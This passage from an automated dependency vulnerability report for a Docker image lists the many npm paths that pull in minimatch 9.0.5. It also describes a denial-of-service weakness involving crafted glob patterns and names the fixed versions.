  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the matchOne function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.

Remediation

Upgrade minimatch to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.

References

More about this vulnerability

Regular Expression Denial of Service (ReDoS)

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /usr/local/lib/node_modules
  • Package Manager: npm
  • Vulnerable module: minimatch
  • Introduced through: lib@*, npm@10.8.2 and others

Detailed paths

  • Introduced through: lib@* › npm@10.8.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › init-package-json@6.0.3 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmaccess@8.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmhook@10.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmorg@6.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmsearch@7.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmteam@6.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › npm-profile@10.0.0 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
